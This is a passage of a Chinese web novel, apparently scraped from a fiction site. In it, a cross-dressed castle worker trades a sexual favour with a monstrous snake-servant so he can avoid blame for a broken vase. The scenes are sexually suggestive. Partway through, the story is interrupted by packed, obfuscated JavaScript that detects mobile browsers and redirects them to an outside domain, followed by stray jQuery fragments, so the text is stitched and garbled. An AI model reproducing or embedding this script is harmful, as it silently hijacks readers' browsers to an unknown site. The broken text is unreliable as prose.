但管家并没有像冯域期望的那样离开,他用手掀开冯域的裙摆:“你藏了什么东西在里面。”
看着飞扬的裙子,冯域急忙用手压住,他并拢双腿,把瓷器藏得更深:“没,什么都没有,我只是累了,坐在这里休息。”
瓷器的瓶口压得更深,难以言喻的酸涩让冯域蜷缩着脚趾才能忍耐。
他的睫毛飞快的抖动,管家能看出他内心的紧张,没有再逼下去,装作相信了的模样:“那你好好休息,等会去厨房吃饭。”
冯域快撑不住了,他怕自己发出奇怪的声音,就只点头回复管家。
管家在离开前,看了眼冯域的背肌,眸色暗了暗,离开了客厅。
看着管家的背影终于消失在拐角处,冯域连忙从瓷器上下来,原本就裂开一条缝的瓷器,因为冯域坐在上面,裂缝变得更大。
冯域抱着瓷器,做贼似的爬上梯子,把瓷器破损的一面对准墙。
冯域下了梯子站在地毯上,抬头从低处向架子上看,瓷器同之前没区别,但他心里清楚,这道裂缝总会被人发现的。
怕在这里磨蹭太久,引起管家的怀疑,冯域一步三回头地离开,脸上写满了委屈。
冯域忧心忡忡地来到厨房,城堡的厨房里面有个隔间,是给佣人们吃饭准备的。
可口的饭菜摆在长桌上,佣人坐在两边,他们的动作、表情一致,在看见冯域进来后,脑袋以相同的速度转过来,一齐盯着冯域。
那种被冷血动物盯上的感觉,让冯域浑身发麻,当他抬头的一瞬间,佣人们又以相同的速度把目光转向自己面前的餐盘。
冯域什么也没发现。
冯域的全部心思都放在瓷器上,他坐在仅剩的空位上,左右都有佣人,同冯域挨得很近。
来自其他人的气息袭来,舔舐着冯域露出空气中的每一寸肌肤。
冯域眉头紧锁,哪怕是餐盘中的美食也无法让他安心下来,门口传出的一点动静,也会被他误会成是管家发现瓷器的损坏,怒气冲冲来找他赔偿。
“叮。”
清脆的声音让冯域下意识地抬起脑袋,他的嘴里还塞满鲜嫩多汁的肉排,脸颊鼓起,唇角还沾染棕褐的黑椒汁。
隔壁的佣人已经弯下腰,钻进桌底:“叉子掉了,我去捡一下。”
冯域撇了撇嘴,对佣人掉在地上的叉子并不关心,但佣人弯腰,必然会将身体紧贴在他的大腿处,扑出的气喷洒在他的裹着黑丝的小腿上。
蓬松的裙摆让冯域没有安全感,他总觉得自己被完全看光,只能并拢双腿,膝盖朝里靠。
佣人迟迟没有找到,冯域等得不耐烦,他用脚在地上摸索,很快就踩到结实的叉子,用脚拨着叉子踢到佣人的手边。
拿到叉子的佣人慢吞吞地从桌底钻出来。
冯域看清佣人的脸,是早上说想嘬他一口的男人。
恶心。
冯域将叉子狠狠地插进肉排中,看见佣人,他就自然而然想到被摔坏的瓷器。
如果他早上愿意同自己换工作,瓷器就不会摔坏,他也不需要在这里提心吊胆。
对。
冯域在心里默默想着,这全是佣人的错,既然这样,就应该由佣人承担责任。
冯域心跳如雷,他眼里浮现出点点星光,紧锁的眉头舒展开。
冯域轻哼一声,先前压在心头的忧虑消散,他咬住肉排的一角,用余光去瞥佣人。
在看到佣人吃完,准备离开时,冯域急忙把肉排嗷呜一口塞进嘴里,紧跟在佣人身后。
同睡在楼梯下的冯域不同,佣人们一块住在西侧的佣人房中,要去佣人房,需要穿过一条长长的走廊。
走廊的墙上挂满画像,冯域没空欣赏它们,他感觉自己和佣人之间的距离不断拉长。
冯域迈开腿,小跑到佣人前面,张开手拦住他:“等下。”
冯域的声音在走廊回荡,他张开的手臂肌肉分明,臂展优越。
佣人停下脚步,同冯域对视,眼中满是疑惑,仿佛在问他有什么事。
佣人的瞳孔是纯黑的,不带一丝杂质的黑。
冯域咽下口水,心虚地把手收回,但一想到自己要赔偿的钱,他就又变得理直气壮起来,挺着胸:“我要跟你换工作,下午我来扫地,你去擦瓷器。”
佣人表情淡漠:“我说过……”
冯域打断他的话,他脸上浮现淡淡的红晕,咬牙说:“我让你,让你嘬一口。”
冯域的声音越来越小,低着脑袋,他自己都觉得这句话羞耻,他从来,从来没主动做过这些。
工地上的男人们虽垂涎他,但碍于冯域强壮的身体,都不敢太靠近他,只能暗戳戳做些小动作。
而面对工地上的男人,冯域嫌弃都来不及,怎么可能主动邀请他们碰自己。
他话说完,走廊陷入一片死寂。
等得时间久了,没得到回应的冯域心里的羞涩消失,取而代之的是不耐烦,他抬头想要质问佣人是不是哑了,却看见佣人的眼睛变得通红,表情带着些许的扭曲。
冯域甚至觉得佣人脸上的皮就要裂开。
他觉得面前的佣人变得奇怪,像某种维持不了人形的怪物,冯域的心里打起退堂鼓。
快跑!快跑!
砰。
佣人握住他的手腕,将他从无边的恐惧拉出来,他漆黑的瞳孔盯着冯域:“跟我来。”
冯域脑子还是糊的,他眨着眼,还没反应过来,呆呆地问:“我们现在去哪。”
佣人收紧握住他手腕的手,语气怪异:“去我的房间,难道你想在这里?”
虽然现在走廊只有他们两人,但这是去佣人房的必经之路,时刻都会有人过来。
冯域羞耻地抽回自己的手,他瞪了佣人一眼:“去你的房间。”
冯域从背后推他:“走快点。”
在真正来到佣人房间前,冯域反而退缩了,他不想让佣人这么低劣的人碰自己。
他犹豫的动作被佣人尽收眼底,佣人单手靠在门框上:“不进来?”
佣人垂下眼眸,装出善解人意的模样:“既然你不愿意,我们的工作就别换了。”
听到不能换工作,冯域心一抖,他把佣人推到一边,大步走进去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475137|169940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佣人住的都是单人间,只是跟冯域相比,空间更加逼仄,装潢相当简单,也没有公主床。
冯域看佣人住得比自己差多了,莫名得意起来。
冯域环顾四周,带着几分嫌弃坐在佣人的床边,坐下去的时候,冯域的裙摆被他压在臀下,两条腿自然的伸着。
佣人站在冯域的面前,那炙热的目光让冯域无处躲避,他将手臂挡在胸前。
不行。
冯域慌张的抓紧胸口的布料,就在佣人的手指搭在他颈后的吊带时,他终于找到理由:“你,你快去把门反锁。”
佣人听话的去锁门,男人身上富有侵略性的气息远去,让冯域得到喘息的机会,但锁门也就是一会的时间,冯域又用手指着窗户:“你快把窗帘拉上,说不定会有人躲在后面偷看。”
佣人没有提醒冯域,他们在三楼,一般人根本没办法从三楼的窗户向里看。
不过,他们也不是人。
在窗户上,佣人的倒影印在上面,硕大的蛇头吐着信子,上面的鳞片清晰可见。
佣人双手抓住窗帘,“唰”的一声,窗帘将窗户上的倒影遮住。
整个房间陷入一片黑暗,黑暗让冯域更加害怕,他开始后悔让佣人把窗帘拉上,但他要面子,开不了口。
佣人贴心地提醒他:“我开始了。”
冯域真想一脚踹上去,这话听得真奇怪,但佣人已经附身靠过来,他单手压在床边,将被子压下去,手臂贴在他的大腿肉上。
但冯域无暇顾及佣人的冒犯。
佣人靠得太近了,近到冯域都不敢呼吸。
佣人用手指解开他颈后的吊带,随后慢慢的往下拉,胸口的爱心海绵也被拉下来,终于露出被藏起来的胸肌。
因为把窗帘拉上了,佣人只能看见胸肌的大致轮廓,但也能感受到,胸肌的尺寸有多傲人。
佣人的鼻尖抵上去,在冯域没看见的地方,他再也无法维持脸上的表情,在嗅到冯域身上的清香后,他的眼里是让人心惊的疯狂。
就在佣人要张开嘴的时候,冯域抓住他的肩:“说好了,只能一口,你要是敢……”
佣人实在是忍不住,他张开嘴直接咬上去,满满的一大口瞬间填满整个口腔,滑嫩到极致,在口中溢开。
冯域被他突然的动作打断了想说的话,他的手紧紧抓着佣人的肩膀,用尽了力气,却没办法把他推开。
“咕叽咕叽。”
吞咽口水的声音让冯域耳垂发红,他只能看见佣人的黑发,他粘在上面,好像生来就和那里是一体的。
“够,够了!已经一口了,你快离开!”
冯域的手锤在佣人的肩膀上,他的力气很大,但佣人不紧不慢的离开。
“啵。”
终于分开,冯域赶紧把佣人推开,随后把吊带拉好,在后颈绑上结。
佣人被他一把推倒在地,冯域却丝毫不在乎,他的双腿隐隐发软,他强撑着站起来,迈过地上的佣人。
临走前冯域还不忘提醒佣人:“说好了,下午我们就交换工作,你要是反悔了,小心我揍你。”